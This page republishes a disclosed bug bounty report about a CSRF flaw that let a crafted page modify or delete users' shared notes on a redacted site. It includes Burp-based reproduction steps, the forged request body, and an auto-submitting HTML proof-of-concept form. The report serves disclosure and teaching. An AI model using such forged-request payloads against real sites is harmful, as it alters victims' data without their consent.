Skip to content
CSRF Disclosed report Beginner

CSRF allowing unauthorized modification of user Notes on ███████

The note-saving endpoint accepted cross-site form submissions without any CSRF protection, so a crafted page could change or delete a victim's shared notes. An attacker who knows the victim's client identifier could submit a malicious link that overwrites the notes when loaded.

kanon4 Follow

Originally disclosed on HackerOne

  • Fixed in 5 days
  • Disclosed after 8 days

Summary:

A CSRF vulnerability allows an attacker to change a user's notes simply by clicking a link

The attacker can modify or delete all information the user left just by clicking a link

The root cause is that the endpoint ███████ does not appear to implement protection against CSRF attacks

Therefore, once the attacker knows the victim’s id, they can send a malicious link that will modify or completely delete the user’s notes

The complexity of this attack is that the attacker needs to be a member (invited) in the same organization as the victim on the site in order to obtain the victim’s correct ID to use in the link.

When you are a member of the organization you can obtain the victim’s ID very easily.

A second, less likely scenario is that the attacker guesses the victim’s ID as 1 if they are confident the user is newly registered on the site.

Steps To Reproduce:

  1. Log in to your account at ███████████ after placing an order on the site
  2. After logging in, you will see your Shared Notes field
  3. Enter any text into the Shared Notes field and click Save Note
  4. Open Burp Suite and go to the HTTP history tab
  5. Find the request for the endpoint POST █████
  6. Right-click that request and choose Engagement tools → Generate CSRF PoC
  7. Edit the generated PoC so the client_id parameter is set to the target victim’s ID
  8. Upload the generated HTML file to any web hosting or your own site
  9. Visit the hosted page as a regular user (or trick the victim into visiting it). The victim’s Shared Note will be modified█████deleted when the page is loaded

Affected endpoint

Host: ████████████████████████
Cookie: ██████████
Content-Type: application██████████████x-www-form-urlencoded; charset=UTF-8
Te: trailers
Content-Length: 53

ajax=save_note&client_id={ID_victim}&note=I+Hacked+YOU&area=client

CSRF PoC

HTML
<html>
  <body>
    <form action="███████████████">
      <input type="hidden" name="ajax" value="save&#95;note" ████████████████████████████>
      <input type="hidden" name="client&#95;id" value="{{ID_victim}}" ████>
      <input type="hidden" name="note" value="i&#32;hack&#32;you" ███████████████████████████████████>
      <input type="hidden" name="area" value="client" █████████>
      <input type="submit" value="Submit request" ███████████████████>
    <███████████form>
    <script>
      history.pushState('', '', '█████████████████████████████████');
      document.forms[0].submit();
    <█████████████████████████script>
  <████body>
<██████████████████████████████html>

Supporting Material███████████References:

PoC Video

█████████████████████

Impact

  • Unauthorized modification or deletion of a user’s Notes
  • Loss of important data or contact information stored in notes
  • Attacker can inject malicious links or social-engineering instructions into notes (enables phishing)
  • Privacy████████████████████compliance risk if notes contain sensitive or regulated data
  • Increased blast radius when attacker is a member of the same organization (easy access to victim client_id)
  • Low-effort, high-impact exploitability once client_id is known — warrants High severity

The original report as published on HackerOne, by kanon4. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the note-saving endpoint relied only on the session cookie and had no CSRF token or origin check, so any site could submit the form on the victim's behalf.

Impact

A victim's notes could be modified or deleted, and injected links or instructions in the notes could be used for phishing; the attacker needs the victim's client identifier, which is easy to get as a fellow organisation member but otherwise may require guessing.

What the attacker needed

Victim is logged in; attacker knows victim's client_id; victim loads attacker's page

How it was found

  1. Log in to the site after placing an order and open the Shared Notes field.
  2. Enter some text and save the note, then capture the resulting request in an intercepting proxy.
  3. Generate a CSRF proof-of-concept from that request and set the client identifier parameter to the victim's ID.
  4. Host the generated HTML page on any web server.
  5. Get the victim to load the page, which submits the form and changes or deletes their note.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. A cross-site request forgery (CSRF) bug means another website can make your browser send a state-changing request to the vulnerable site without you meaning to, and the site accepts it because it never checks that the request really came from its own pages. Here, loading a page silently submitted a form that saved new note text under the victim's account.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by kanon4

View all

4 more disclosed reports, best first.

More from Tucows (VDP)

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.